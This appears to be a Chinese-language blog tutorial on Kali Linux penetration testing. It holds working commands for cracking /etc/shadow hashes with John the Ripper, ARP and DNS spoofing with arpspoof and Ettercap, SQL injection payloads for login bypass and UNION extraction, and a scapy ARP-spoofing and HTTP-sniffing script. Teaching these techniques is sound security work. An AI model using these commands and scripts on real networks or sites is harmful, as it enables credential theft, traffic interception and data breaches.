1. Kali Linux渗透测试入门指南
第一次接触Kali Linux时,我被它强大的工具集震撼到了。这个基于Debian的Linux发行版专为网络安全测试设计,预装了600多种渗透测试工具。记得我刚开始学习时,最困惑的就是如何系统地掌握这些工具的使用方法。经过多年的实战经验,我发现从密码破解、中间人攻击到Web应用渗透这条学习路径最为高效。
Kali Linux的优势在于它的集成性和易用性。你不需要花费大量时间配置环境,开箱即用。对于初学者来说,建议从虚拟机开始尝试。我常用的配置是给Kali分配至少2GB内存和40GB硬盘空间,这样能保证大多数工具运行流畅。安装完成后,第一件事就是更新系统:
sudo apt update && sudo apt upgrade -y这个命令会更新所有预装工具到最新版本。在实际渗透测试中,工具版本过旧可能导致某些漏洞无法检测,所以定期更新很重要。
2. 密码破解实战:John the Ripper深度解析
2.1 Linux密码破解实战
John the Ripper是我最常用的密码破解工具之一。它的强大之处在于支持多种破解模式。记得我第一次成功破解Linux密码时的兴奋感。下面分享一个完整流程:
首先,我们需要获取目标系统的密码哈希。在Linux中,这些哈希存储在/etc/shadow文件中。由于权限限制,我们可以使用unshadow工具合并/etc/passwd和/etc/shadow:
unshadow /etc/passwd /etc/shadow > crack.db接下来就是激动人心的破解环节。John支持多种攻击模式,我最常用的是字典攻击:
john --wordlist=/usr/share/wordlists/rockyou.txt crack.dbrockyou.txt是Kali自带的经典密码字典,包含超过1400万条常见密码。如果目标密码比较简单,通常几分钟内就能破解出来。为了提高成功率,我通常会准备多个专业字典文件。
2.2 高级技巧:规则化攻击
当简单的字典攻击失效时,就需要更高级的技术了。John的规则化攻击可以自动对字典单词进行变形。比如将"password"变为"P@ssw0rd"这样的常见变体:
john --wordlist=dict.txt --rules crack.db我曾经用这个方法成功破解过一个看似复杂的密码。关键在于理解人们设置密码的常见模式 - 首字母大写、末尾加数字、字母替换符号等。
3. 中间人攻击:Ettercap与arpspoof实战
3.1 ARP欺骗原理详解
中间人攻击(MITM)是渗透测试中最常用的技术之一。ARP欺骗的核心原理是利用ARP协议的缺陷。简单来说,就是欺骗目标设备,让它误以为攻击者的MAC地址是网关的MAC地址。
我第一次成功实施ARP欺骗时,使用的是arpspoof工具。基本命令格式如下:
arpspoof -i eth0 -t 目标IP 网关IP这个命令会持续向目标发送伪造的ARP响应包,使其网络流量经过我的机器。为了保持目标的上网功能,需要开启IP转发:
echo 1 > /proc/sys/net/ipv4/ip_forward3.2 Ettercap图形化操作
相比命令行工具,Ettercap提供了更友好的图形界面。我最喜欢它的插件系统,特别是dns_spoof插件可以实现DNS欺骗。配置步骤:
- 编辑/etc/ettercap/etter.dns,添加伪造的DNS记录
- 启动Ettercap图形界面
- 扫描局域网主机
- 选择目标并启动ARP欺骗
- 激活dns_spoof插件
这样当目标访问特定网站时,会被重定向到我们控制的服务器。在实际测试中,这种技术常被用来演示钓鱼攻击的危害。
4. Web渗透:SQL注入攻防实战
4.1 SQL注入原理剖析
SQL注入是我接触的第一个Web漏洞类型,也是最具破坏性的漏洞之一。它的本质是通过构造特殊输入,改变原有SQL语句的逻辑。最常见的场景是登录绕过:
假设原始SQL是:
SELECT * FROM users WHERE username='admin' AND password='123456'攻击者输入admin' --作为用户名,SQL就变成了:
SELECT * FROM users WHERE username='admin' --' AND password='123456'--是SQL注释符,后面的条件被忽略,从而绕过密码验证。
4.2 手工注入实战
在Kali中,我们不需要特殊工具就能测试SQL注入。以测试一个网站为例:
- 找到可能有注入点的输入框,比如搜索框
- 输入单引号
'测试,如果返回错误说明可能存在注入 - 尝试构造永真条件:
' OR 1=1 -- - 逐步获取数据库信息:
' UNION SELECT 1,version(),3,4 --
记得我第一次成功注入时,通过这种方式获取了整个数据库的表结构。这种成就感促使我深入研究Web安全。
5. Python自动化渗透脚本开发
5.1 自定义ARP欺骗工具
为了更深入理解ARP欺骗原理,我用Python的scapy库实现了一个简化版arpspoof。核心代码如下:
from scapy.all import * def arp_spoof(target_ip, gateway_ip): target_mac = getmacbyip(target_ip) gateway_mac = getmacbyip(gateway_ip) # 构造欺骗目标的ARP包 arp_target = ARP(op=2, pdst=target_ip, psrc=gateway_ip, hwdst=target_mac) # 构造欺骗网关的ARP包 arp_gateway = ARP(op=2, pdst=gateway_ip, psrc=target_ip, hwdst=gateway_mac) while True: send(arp_target) send(arp_gateway) time.sleep(2)这个脚本实现了基本的ARP欺骗功能。通过自己编写工具,我对ARP协议的理解更加深入了。
5.2 扩展功能开发
在基础版本上,我陆续添加了流量嗅探、数据包解析等功能。比如下面这段代码可以捕获目标的HTTP请求:
def packet_callback(packet): if packet.haslayer(TCP) and packet.haslayer(Raw): if packet[TCP].dport == 80: # HTTP流量 print(packet[Raw].load) sniff(filter="tcp", prn=packet_callback, store=0)这种定制化工具在特定场景下比通用工具更有效。通过Python脚本开发,我能够根据实际需求灵活调整攻击方式。